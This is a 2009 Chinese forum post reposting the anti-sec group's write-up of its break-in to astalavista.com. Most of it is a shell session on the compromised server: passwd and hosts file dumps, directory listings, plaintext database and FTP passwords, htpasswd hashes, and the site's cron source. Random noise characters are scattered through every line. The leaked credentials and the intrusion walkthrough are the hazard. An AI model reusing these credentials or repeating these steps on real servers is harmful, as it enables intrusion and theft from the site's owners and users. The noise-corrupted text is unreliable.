里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看链接标记[url]http://www.litespeedtech.com/litespeed-web-server-features.html[/url]。
0 b$ `! l1 s b; ^ v( z
T& p3 ^. x( p[root@front3 ~]# curl -I litespeedtech.com9 S! `% n# V# ?+ X; n' W( F
HTTP/1.1 200 OK
5 i- X; x. ]9 |# \Date: Fri, 05 Jun 2009 22:54:51 GMT
f! }4 T2 X3 ]3 P* `Server: LiteSpeed
2 K; ]/ z! z6 _! h
- {1 Z! j6 X' Q7 l另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3 x64还有一个localroot 0day -_-. w/ x6 C! b" P: y: J
$ ^0 Y- p; M1 ?3 X- B/ [8 `有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。* ~$ K- k4 G* e- y# I) X6 r- a& ?
. K. D2 o4 F, L% M& T' t/ ^
% ^7 N: j4 ?% y! Q8 x- o1 [/ _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \ / e9 }5 q$ L$ t$ z1 f4 I& P
/ /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \9 x2 g5 T9 e% ~) B- x
/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \
* s- r- s1 U9 T, F R\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /$ D: M: \, e- k9 H6 y [
\/ \/ \/ \/ \/ \/ \/
8 i1 w2 m6 {" Z" @ The Hacking & Security Community
- a8 B4 O" Q, y) h+ z: I[+] Founded in 1997 by a hacker computer enthusiast: p) H" d3 B6 _3 p3 d
[-] Exposed in 2009 by anti-sec group" O: y9 I) J9 R1 j# h
0 s5 N/ b% S" GFrom < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:
) u e9 }7 S3 s4 v7 b; L" y2 v! ]8 _. F>> 03. Who’s behind the site?: g) M9 Q$ z0 [: Y; s* u7 _
>>
2 V, J( V9 }. ]: v& r, Z>> A team of security and IT professionals, and a countless number of contributors from all over the world.
7 m3 Z. }0 d" R4 s) i8 p$ X3 T
) j3 y5 E( V- P0 B>> 05. Is it true that the site is visited by script-kiddies and warez fans only?1 k& o5 I2 \8 S4 _6 R/ U
>>
. ?6 B5 L* a0 [. k>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and
# i6 v& z1 P9 p& s M1 Jmilitary institutions.
! i/ |) @) n* K E$ B>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.
+ A% D1 x. X7 A, u" K- U; C `, z# M: n. }+ k
Why has Astalavista been targeted?
# v9 m w [1 s. K0 k2 q( x! e: U2 B' M" I& @2 Z. U: o
Other than the fact that they are not doing any of this for the “community” but: h5 s( Q* U1 ]
for the money, they spread exploits for kids, claim to be a security community
) L$ W- S5 L* B3 ]8 I9 p" ?1 p(with no real sense of security on their own servers), and they charge you $6.66' f8 Y; g% c- o; t! a
per months to access a dead forum with a directory filled with public releases
- Z' ^$ l; D9 Q7 Mand outdated / broken services.
8 m3 E1 ]: A0 {, b
1 g: A2 T+ h6 e" F) h1 ?. f% TWe wanted to see how good that “team of security and IT professionals” really is.% ^- C7 @9 j% `
- x0 @/ u3 V7 q5 cLet’s begin.
4 S: t2 p: v# w- L$ l
! J8 n1 s, S( g3 b( J/ q- r, Ranti-sec:~# ./g0tshell astalavista.com -p 80
" l% s$ T1 u- Z' \4 C/ K) f/ |[+] Connecting to astalavista.com:800 o2 W& ?# E, M5 X* P
[+] Grabbing banner…
. {% j4 l% V: \LiteSpeed
% ?: ^6 V, c- f, _[+] Injecting shellcode…) i* r( C: s3 w0 ?
[-] Wait for it
: W1 b, I" {5 {# c4 e
% T1 u. L* u4 D3 u% a; D[~] We g0tshell
c9 L% L% c, C2 j5 C6 juname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
, j( U$ v' Y0 S! u; S7 U2 ^$ F" u) {ID: uid=100(apache) gid=500(apache) groups=500(apache)
5 ?/ L: k9 R- w" d# b2 ~$ q6 m/ @1 M7 \8 @' p) f/ c
sh-3.2$ cat /etc/passwd( a( O) a2 t1 R! m! ?
root:x:0:0:root:/root:/bin/bash) q& Q) q/ q7 U% Z
bin:x:1:1:bin:/bin:/sbin/nologin, p* W3 N$ b, M
daemon:x:2:2:daemon:/sbin:/sbin/nologin: }! C& F* y/ k4 B
adm:x:3:4:adm:/var/adm:/sbin/nologin8 I# a; f% o; G9 ^$ S. P
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
7 L# r1 c2 z0 O2 J9 k8 w* {2 }sync:x:5:0:sync:/sbin:/bin/sync
, N, t8 G8 n: I, t7 ~shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
% P- ]. Z5 Z; g* chalt:x:7:0:halt:/sbin:/sbin/halt& s, J9 W0 {" r- k% K( \7 t
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
3 g6 s. k7 J2 S4 m1 ~' Unews:x:9:13:news:/etc/news:
% n7 n9 F3 S; Z/ [, Ouucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
+ P. d2 i9 ]- O9 Xoperator:x:11:0 perator:/root:/sbin/nologin/ T, ?! h9 h+ H; S8 Z% {' K
games:x:12:100:games:/usr/games:/sbin/nologin+ n9 S+ R) C1 v8 e" M8 o' |: I4 X% ], t
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
% [0 w* s& [9 f" H2 Uftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
2 E( M) K8 }; rnobody:x:99:99:Nobody:/:/sbin/nologin2 u& A, Q2 Z! g/ W2 z% W5 v, z2 e
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
/ y5 c O8 k' [/ w) e) A. A4 Vdbus:x:81:81:System message bus:/:/sbin/nologin
: ]8 q' a: r- o2 D$ ?6 Fnscd:x:28:28:NSCD Daemon:/:/sbin/nologin7 f( @* }+ { J! M
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
# \; R$ N* g6 e1 G7 ?smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
! r: ?; Z# m& }+ Wvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
$ N* N7 b: {0 ]/ k5 x7 Z7 |- chaldaemon:x:68:68:HAL daemon:/:/sbin/nologin
8 H5 S, d x- J* t- Erpc:x:32:32 ortmapper RPC user:/:/sbin/nologin- }' M- E7 g5 \7 k
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin+ e' n" m6 k& `9 b; `- R
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
& U4 H& U$ L. P9 F Vsshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin
8 ^; R& \. m5 s0 b2 S: epcap:x:77:77::/var/arpwatch:/sbin/nologin8 O5 D! a. q0 z+ Q( O
named:x:25:25:Named:/var/named:/sbin/nologin/ C% W- t& D$ x/ @1 e
apache:x:100:500::/var/www:/bin/false
@5 ]; k5 E' R6 c$ wdiradmin:x:101:101::/usr/local/directadmin:/bin/bash
6 F; K9 F/ W) a( u% Z, h+ Lmysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash1 B( }/ M- _( X7 F& y) f8 K
webapps:x:500:501::/var/www/html:/bin/bash& n! ]. y/ C1 S. q
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash+ X2 A% L2 x8 s7 v0 Z- d1 l
admin:x:501:502::/home/admin:/bin/bash
2 q: p7 p: a9 P2 O1 d7 F( x8 Bjon:x:502:503::/home/jon:/bin/bash( j X# Q }# N8 ?5 D
com:x:503:504::/home/com:/bin/bash
3 @3 h/ Z2 Y$ Z5 |$ ]0 untp:x:38:38::/etc/ntp:/sbin/nologin- z4 L& y; G4 W( t# F
ais:x:39:39penais Standards Based Cluster Framework:/:/sbin/nologin/ B5 a' E; Q0 S9 ]$ B8 D3 G
astanet:x:504:505::/home/astanet:/bin/bash
2 I" v1 t' d( o: `' u( ?avahi:x:70:70:Avahi daemon:/:/sbin/nologin0 j/ \7 R3 @6 A) h
avahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin3 @1 j0 Q J5 d' Z3 c. L$ y
9 @4 ` E" s* k7 w" |3 ]* Q
sh-3.2$ cat /etc/hosts& l; p6 Z6 d8 H B
# Do not remove the following line, or various programs
9 t2 V6 @( T3 g) h6 W, Y+ V# that require network functionality will fail.
X3 @" J, @$ ~+ ~127.0.0.1 localhost.localdomain localhost
5 p. Q7 m. f1 ]! f3 Z::1 localhost6.localdomain6 localhost6
: L* j; [( N7 E7 v. r1 H80.74.154.172 asta1.astalavistaserver.com
# ~" d: t, S: p$ e3 y+ l+ r8 C7 y- T) s' o' q; M, Y
sh-3.2$ pwd
0 u `* j. j+ c( D0 Q/ f# K/home/com/public_html* |7 B% Q$ a6 \/ U0 I
1 M7 H) O0 `1 L/ e% J
sh-3.2$ ls -la
7 a9 F5 ?: _. V# V2 G/ K; `total 18460
0 w3 ~5 V ~. l0 n4 N2 wdrwxr-xr-x 30 com apache 4096 May 28 17:06 .
0 w3 a& ?! B( D i7 H8 I' _, L" Vdrwx–x–x 11 com com 4096 Jun 25 2008 ..
9 U9 o: t9 b: W e: A* ?- Udrwxr-xr-x 2 com com 4096 Feb 2 19:29 admin
% {% I1 o8 K( bdrwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache( I* @; U5 n) F/ y% g- ]
drwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin
! l @) t" N- J) L$ U' U/ zdrwxrwxrwx 2 com com 4096 May 19 00:50 config5 w4 J9 R+ {( ]5 n' {
drwxr-xr-x 2 com com 4096 Mar 20 11:05 core; V0 F$ I, u3 t9 Y+ G/ d+ p1 `
drwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules1 i/ o* g* J8 f% _
drwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing; m# l1 w# t: i# H5 \) v! }8 y
drwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo
- V+ N8 z; z0 {; Ndrwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__
! S* h$ F6 ^( u$ p. @; K. X! _-rw-r–r– 1 com com 8035 May 19 14:26 directory_to_mediadir.php6 I6 p6 _7 A5 ]% q+ y9 x
drwxr-xr-x 2 com com 4096 Sep 9 2008 dvd
* E% ^* a/ B% Zdrwxr-xr-x 3 com com 4096 Feb 2 19:29 editor) s3 |! o( I9 t; B" J$ N; O! j
-rw-r–r– 1 com com 3750 Feb 27 16:12 favicon.ico$ E# @; ]/ M8 Z% l0 j$ W/ ~
drwxrwxrwx 2 com com 4096 Jun 4 08:00 feed
/ W+ o; A, x" w! G; M* p; o-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess
3 c2 F9 Q, }6 }1 n-rw-r–r– 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak0 C# `( d, w1 t6 X
-rw-r–r– 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak6 a3 ]7 U9 h ^8 @# j
drwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool
6 j, g/ ?; F) g4 Jdrwxrwxrwx 14 com com 4096 Feb 2 19:29 images. g% h8 `! @& x1 k* q
-rw-r–r– 1 com com 97496 Jun 2 13:01 index.php4 J P3 S7 g6 y$ _5 G! H/ ~/ j0 g
drwxr-xr-x 6 com com 4096 Feb 2 19:29 installer( H! Q8 ~+ n. W0 h# t8 d3 a' f& u
drwxr-xr-x 8 com com 4096 Feb 2 19:29 lang2 W* r; T5 g# `% A9 C0 g! x
drwxr-xr-x 22 com com 4096 Feb 2 19:29 lib
& G# E0 X1 x6 O6 _( d9 Ldrwxrwxrwx 12 com com 4096 Jun 2 07:47 media }/ x$ `% U; U+ B# D- v- n2 r
drwxr-xr-x 8 com com 4096 May 11 12:48 modifications4 U" k! }( y; p" c5 T
drwxr-xr-x 34 com com 4096 May 28 16:30 modules
! N: {) W( [" m4 Adrwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin
1 I8 ^* D' S4 [drwxrwxr-x 22 com com 4096 May 28 17:06 _new
; v4 m/ f* |: adrwxr-xr-x 26 com com 4096 Feb 2 19:27 _old4 G" i6 E+ y/ l: k
drwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy
) C# {8 r* J8 O. _& W6 Kdrwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy- b) T1 Q8 e1 E; }; \. E
-rw-r–r– 1 com com 26 Feb 2 19:33 robots.txt
& p4 e; ]4 U0 U3 x* G3 E0 ~-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml$ v; g! F8 o6 L6 e
-rw-r–r– 1 com com 223 Mar 30 15:32 test.php% X/ M; r8 p! B
drwxrwxrwx 8 com com 4096 Mar 6 13:15 themes
2 n9 Z8 N2 F# q8 n/ W2 {drwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp
' p9 s' K7 U: w$ Pdrwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam( x1 Z! }: j8 p* d& a% `
% Y$ K$ W$ x* ssh-3.2$ head -20 index.php. D, V1 ^+ s4 y. b( u0 |* S9 ]
<?php
6 j5 O8 ?9 l" s. d# e5 H: X! y9 w' q% G0 \
/**6 l1 v- l1 M. u5 b( a3 u
* The main page for the CMS
( `( ?7 n+ p9 m* @copyright CONTREXX CMS - COMVATION AG; b- _) X5 ]! W
* @author Comvation Development Team
# h7 \: z7 X! @* e) U* @version v1.0.9.10.1 stable& k. f* w& {9 F& l5 v8 {4 r
* @package contrexx2 M! t. R6 D( I1 T
* @subpackage core+ x" I0 g g, s8 W+ c
* @link 链接标记[url]http://www.contrexx.com/[/url] contrexx homepage: Q1 a( T+ r0 x7 j2 ]6 o$ W, n
* @since v0.0.0.0/ o# {7 Z2 U |9 B8 E& x4 }
* @todo Capitalize all class names in project4 t0 }4 C% P( g6 G: e
* @uses /config/configuration.php* q- p7 j5 X) U* Q
* @uses /config/settings.php4 Z' A& }1 S0 ]4 H4 [* D3 y
* @uses /config/version.php! r+ j; h8 F! o6 [$ @) v
* @uses /core/API.php& I7 k0 `0 t' ?6 T7 f' Q; p& e
* @uses /core_modules/cache/index.class.php
! b# \9 y2 x7 u4 {5 K- X* @uses /core/error.class.php
, j8 Q, n% h& C, Z( y( ?+ s* @uses /core_modules/banner/index.class.php
+ j' X$ H- r C: m; Y) x/ x t& k8 X* @uses /core_modules/contact/index.class.php
2 W J( }( l) c" m1 c& n/ `+ h' M, _, m+ ^6 g. C, F
sh-3.2$ cd config/
. y) r3 T5 q6 S' S8 U0 t1 X& tsh-3.2$ ls -la, f. W( x, S4 i
total 32
/ h/ L1 ~" L. ^5 W. f2 Ddrwxrwxrwx 2 com com 4096 May 19 00:50 .1 B4 [$ J3 |: h- k# ]8 w5 d
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..' g9 F; J, L" \. F! \2 a) c0 x
-rwxrwxrwx 1 com com 2998 May 11 12:29 configuration.php9 S% J+ E6 n/ i; h6 @
-rwxrwxrwx 1 com com 7610 May 28 17:27 set_constants.php
3 j% r, J1 S$ k-rwxrwxrwx 1 com com 4186 May 25 12:54 settings.php$ y# D' }; \! Y0 ?
-rwxrwxrwx 1 com com 672 Feb 2 19:29 version.php
! O/ O) {3 _7 Q- t4 v1 ?6 @' K& {3 z& ]# ^; S( R$ r% K1 \$ r; B
sh-3.2$ cat configuration.php
1 j m0 g8 ]/ x1 z# s[snip]0 K! k- c T7 t5 Q0 D. a& @0 q% {! a
$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost
8 G4 l6 _; X2 Q* h' q: W; }9 P1 r$ l9 ]$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name3 `1 ^) Z' q q, N" L; s6 K
$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix. H: [* z% f4 \7 K) j" Z; m
$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username
/ y" `7 T3 b$ U! x$ {, l6 H$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password
/ i/ I$ T& p3 c$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..)0 V1 F% J, d- t8 t. v) x) m5 A0 j6 q
$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)
% n9 J0 F2 o& ^' J[snip]( x$ T* \2 ~& _8 C4 ?+ X, a( K, y
$_FTPCONFIG['is_activated'] = true; // Ftp support true or false
: p* u& ~$ `) e/ Z0 f) _$_FTPCONFIG['use_passive'] = true; // Use passive ftp mode$ E% p2 `7 h/ x/ z
$_FTPCONFIG['host'] = ‘localhost’;// This is normally set to localhost$ y9 s3 c0 h; y& U
$_FTPCONFIG['port'] = 21; // Ftp remote port
1 [ r. m8 |0 }$ R$_FTPCONFIG['username'] = ‘链接标记dev@astalavista.com’; // Ftp login username# ?2 ^* K L4 D6 l
$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password
! U0 y/ b% }9 x0 N: n$_FTPCONFIG['path'] = ‘/’; // Ftp path to cms% f4 E3 `- f9 t) _+ N
+ q4 i9 o( r' r3 m
sh-3.2$ cd ..
( V% k x/ z, J2 k# ?sh-3.2$ cd dvd/
; q7 I! _) ]) {( A+ _2 J4 U: msh-3.2$ ls -la$ I# z" _' a e8 t2 M/ G+ O b$ `
total 2913780! ]5 C( D1 W' V- F* Q5 S1 q! r
drwxr-xr-x 2 com com 4096 Sep 9 2008 .* c3 E6 i/ \! w: T5 _$ [/ u9 ^
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..; C% i7 v6 A' j( g
-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar
- ]: I5 ?2 a% Y' B" g-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar
[% e: g, l1 J, F J-rw-r–r– 1 com com 880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar3 p w6 ^% U: N
-rw-r–r– 1 com com 115 Jan 29 2008 .htaccess& a* ^; L) V/ ~ e& c
% t( ]0 n' q6 ]
sh-3.2$ cat .htaccess
2 w' ~- J ~! [, T* R/ V! aauthType Basic9 p( L! u( u2 T1 K
authName DVD
1 p. X3 U3 T& ]authUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd$ Y! \' m3 _" H3 l& S+ g0 `6 w
require valid-user
) ?# n& x# u `
/ h! ?0 ?# J& T2 Ysh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd. E8 e: s8 A* B2 E
DVDdownload:CRD8cuY6.MPT6
& K0 |- O8 O4 S9 {/ l) {DVDdownload2:CR8a36.wluFMg! C( a: K; ~: I2 h/ B, h2 `- O
2 L+ M5 ^( a; h. l/ K+ W( m
sh-3.2$ cat test.php# x) _1 g7 o7 b
<?php
% c+ p3 k: O- N! A7 F# W, S ^$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;! i5 y& J! w4 d6 f7 d( y9 v+ j
$url = str_replace(array(’&’, ‘&’), ‘&’, base64_decode(rawurldecode($url)));
8 h) I. c8 Z g: L7 \9 G# Wecho $url;2 G& w9 N N$ O- B6 X1 l
?>( I- _* Q! A, z2 Y7 K" B
' Y/ n8 e' A1 l; p& E" y+ Z
sh-3.2$ cd modifications/
8 u1 ?0 T. x7 I9 u; W9 x- f, Z. P( L: d6 Vsh-3.2$ ls -la% h1 P& j3 S# v4 b
total 32# R* U# w2 _% N5 F
drwxr-xr-x 8 com com 4096 May 11 12:48 .
- z5 t: A7 a) M9 \* Fdrwxr-xr-x 30 com apache 4096 May 28 17:06 ..5 W' P7 r. `' h
drwxr-xr-x 3 com com 4096 Feb 2 19:33 com_avtng
6 G, o' w3 Y( y/ h% j) L: odrwxr-xr-x 3 com com 4096 May 12 09:26 cronjobs
7 j$ \( Z" H3 D' N2 ]drwxr-xr-x 2 com com 4096 Mar 2 10:35 onlinetools
8 D: k" p& x4 C- |; ` Pdrwxr-xr-x 4 com com 4096 Feb 2 19:33 pjirc4 U4 h! [9 c0 c
drwxr-xr-x 2 com com 4096 Feb 2 19:33 search' ?. {8 u+ p; Q+ {7 p% y
drwxr-xr-x 2 com com 4096 Mar 25 08:56 _tmp
7 c& g4 u/ J* _1 l
6 }7 ]' E: N$ U* hsh-3.2$ ls -R
8 V. U# \0 K J* i8 y) x* d.:+ D& a* ~+ a9 q( {$ c
com_avtng cronjobs onlinetools pjirc search _tmp
" S7 T, N" l& b
) f/ k! i9 K% v3 t9 Z9 t W& R2 V./com_avtng:5 ^9 d4 z0 t/ |6 b; B$ N/ t* E
avtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts0 L# k, q6 V5 a& _# u# P# f+ C
; {" {5 v) z6 c2 w r4 s
./com_avtng/scripts:- d. G% H8 M7 t2 R
popunder.js
6 X- G8 S1 C3 c" q! ~( @% S9 I7 r' q- h K
./cronjobs:3 J1 w( F* _0 X% M6 l' N4 M
exploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp
+ X5 U# |2 }3 E+ c9 R
$ D* ]1 y2 c# J& I0 g./cronjobs/tmp:6 G X7 L' s; [
contrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv1 e2 D5 S7 A0 M, Y s' m
: A* e, l0 X2 x2 C/ h9 ?2 p5 e./onlinetools:
. Y( Q3 S# X& q( l# P% findex.php
8 V: b- [. E; \. Y) \9 J& s+ S& U* `2 g0 d; R
./pjirc:; `* t ?/ q0 g+ j% |
a_big.jpg english.lng img irc.jar NormalApplet.html pixx-french.lng pjirc.cfg securedirc-unsigned.cab thanks.txt" ?1 q" V x( U8 E6 A
AppletWithJS.html french.lng IRCApplet.class irc-unsigned.jar pixx.cab pixx.jar readme.txt SimpleApplet.html versions.txt
9 j$ y) }' j4 }background.gif HeavyApplet.html irc.cab license.txt pixx-english.lng pixx-readme.txt securedirc.cab snd
: P: q3 a h3 _3 L' C; D: G! [7 g a' R
./pjirc/img:
, w l. T0 r' [ange.gif bombe.gif clin-oeuil.gif content.gif enerve2.gif garcon.gif langue.gif mecontent.gif ordi.gif portable.gif sapin.gif triste.gif
6 l, s: i, o' t3 i- z( Tarbre.gif bouche.gif clin-oeuil-langue.gif cool.gif femme.gif grognon.gif lettre.gif newbie.gif pere-noel.gif pouce-non.gif sleep.gif
) ^. D$ k* w2 [5 Tverre-eau.gif: n$ _2 E, Q# ~
argh.gif bouqin.gif coeur-brise.gif diable.gif fille.gif halloween.gif lit.gif OH-1.gif pleure.gif pouce-oui.gif soleil.gif 6 |) I4 ?8 ?, P8 c6 M
verre-vin.gif1 L k0 p0 H( \) L
ballon.gif cadeau.gif coeur.gif dwchat.gif fleur.gif hamburger.gif love.gif OH-2.gif poisson.gif roll-eyes.gif sourire.gif yinyang.gif
- W4 S) [% p" m: jbiere.gif chien.gif comprends-pas.gif enerve1.gif fume.gif homme.gif lune.gif OH-3.gif pomme.gif rouge.gif terre.gif0 X2 |7 e% {* y" v4 O
* C- d. h" }( M& j7 N2 P
./pjirc/snd:1 T- p! [/ R% E$ r
bell2.au ding.au
# Y0 t2 {1 T3 r8 m+ S6 R
% Z) H9 E% ?7 R" L5 p) y' [: p" z./search:7 l) ] i8 ?! n; v& P5 b
searchEngines.php search.php
1 k, m# F( I5 x: r# n2 V% P) F
" `1 d7 \9 o$ w9 b7 p# l! a./_tmp:
& U: ]: q: F+ ?9 Y5 w; vdefaultPorts.php defaultPorts.txt
9 S1 r8 B6 s6 B% d0 ^- X+ _
) m9 h$ I' a& G% x a# @sh-3.2$ cd cronjobs/
; W% E' S3 d- U# k& F& S$ g# msh-3.2$ cat exploits.php+ @0 i# x( x' U. A+ ?( _" b
[snip]
; m3 F$ z4 N( A2 y- }: v4 [( S) j$categories = array();# ?7 I# F& W6 z" v1 I m( W" G
$milw0rmFile = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;
0 X, r, t# y7 z) { z% O9 E$expolits = file($milw0rmFile);8 y' y1 J0 {) R o6 R' N7 i
$comExploits = array();8 y8 j3 m- |# `' e# o
[snip]
4 M# O2 N" t6 v6 b! Z1 B: G% Z// manage data
$ N ?; k( U9 d3 S9 `2 pfor ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640
6 V5 G. P) @+ D: O9 u; H: t& Z/ E4 F, o$ n
// get path and title
7 j. u) q [) U+ ^& A1 b $expolits[$x] = trim($expolits[$x]);2 D$ v2 |& e+ ~& ]
$path = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));
. C) I- y! \6 _6 I& E $title = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);! i: w- H* \1 m" C; w
8 p' ~' R# e& P& G& L // check if file exists1 @" n! i# H+ M3 P5 D; Z
if (file_exists($path)) {' x& F: X0 H+ B) M* T, ]! ]
! }. p `* Q3 B0 Z% a ?" U) i
$text = file_get_contents($path);
4 n+ i8 j. t4 o" k
1 h4 x$ A4 D3 d/ ~6 g/ Y: n0 q // get content and date. D( [/ R- D" C5 o' Q
//$text = htmlspecialchars($text, ENT_QUOTES);: I" e" b& j& J. s$ u% I
$tmptext = addslashes(htmlentities($text, ENT_QUOTES, “UTF-8″));
0 {8 e* X3 D, y# y: ~2 L if ($tmptext != ”) {$ E1 p c$ e3 J$ W1 e( e* ?
$text = $tmptext;. B7 w" m) K. y' A" K$ d; p
} else {
* u. ?. K/ |7 ]+ P; U $text = addslashes(htmlentities($text, ENT_QUOTES));3 N3 F6 e6 s# B. P; J% ?2 w/ `3 f- R
}
( `! q+ `- x" ~3 n, | $date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));
7 y% J" M- C# \' H" y $tmp = explode('-', $date);. R1 }) f, A5 ~
$date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));
3 H' n$ [3 ~) {( X $cat = getCategory ($path);
7 O) a8 @/ w) P {; ]! H $ext = pathinfo(basename($path));
0 y9 w. ?+ `+ v0 H& \ n" O, _ $ext = $ext['extension'];( B4 D0 e# z! v% [
$qStr = ”+ f. y2 [7 p& z, v' c
SELECT `id`0 b t1 f1 Q$ c3 o( q h
FROM `contrexx_module_exploits`* L0 u8 Y/ Q; p# I
WHERE `title` = ‘” . $title . “‘
' |. f, n: s k9 X1 I5 T# s AND `date` = ‘” . $date . “‘0 @6 r/ O$ o7 C! K% }$ k
“;
" h4 F8 F2 Q$ B% p7 [! u M echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;
7 \; b# g4 c4 A4 d2 h $q = $_objDB->query($qStr);7 F4 g$ Y* v6 d" A+ ?$ C& Z
. E! u7 a8 w7 q% P5 W( ?" d if ($q->numRows() == 0) {. F4 M5 W4 l/ A4 a
, {& {" n$ y- y/ U! c4 `
// prepare array
% L/ B8 t0 w# k' z $comExploits[$x]['date'] = $date;8 Z0 [+ V" [+ o$ Y) b+ n" P
$comExploits[$x]['title'] = $title;) \0 Q2 b- S6 S' w& {* ]$ c8 h
$comExploits[$x]['author'] = ‘milw0rm’;- l' [. p s8 u' C6 m. i$ U
$comExploits[$x]['text'] = $text;
" L+ g4 [# M+ g% I2 G $comExploits[$x]['source'] = $ext;) m t5 J4 w! m# v2 q9 { p
$comExploits[$x]['url1'] = ”;
, q) z$ v% O& q: M! g $comExploits[$x]['url2'] = ”;
1 @2 t2 ^8 U, g: v% `9 y; U $comExploits[$x]['catid'] = $cat;/ v @0 j6 t7 _' e% S
$comExploits[$x]['lang'] = ‘2′;
! C7 D) n4 ^/ D) s2 J5 R/ c2 i $comExploits[$x]['userid'] = ‘12′;" g( \* r6 n# e7 W
$comExploits[$x]['startdate'] = ‘0000-00-00′;
- `9 w4 w3 Q- M5 J3 f) w4 l $comExploits[$x]['enddate'] = ‘0000-00-00′;* a$ O m& @6 R0 H! k* B
$comExploits[$x]['status'] = ‘1′;8 |' \$ F! J: v, z) z
$comExploits[$x]['changelog'] = $date;# p1 K1 }8 |' K& X) K1 g
0 D# V$ x) N9 |' y# |, a% G$ q
}
/ a) F# o0 t3 p[snip]4 w, R2 S7 }) ] I. w* F8 o
$xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?>
$ c! t7 H9 A4 D+ k& L' \<rss version=”2.0″>. j' W' ?3 ]0 } M
<channel>
. X; e/ x. v$ m& z7 q2 ~. W3 Q3 `# f <title>ASTALAVISTA.com - Exploits</title>; N4 t; ~, w z& Y4 Q- f% R
<link>http://www.astalavista.com/exploits</link>. G+ s# P) u5 f7 ~
<description>All availably Exploits.</description>
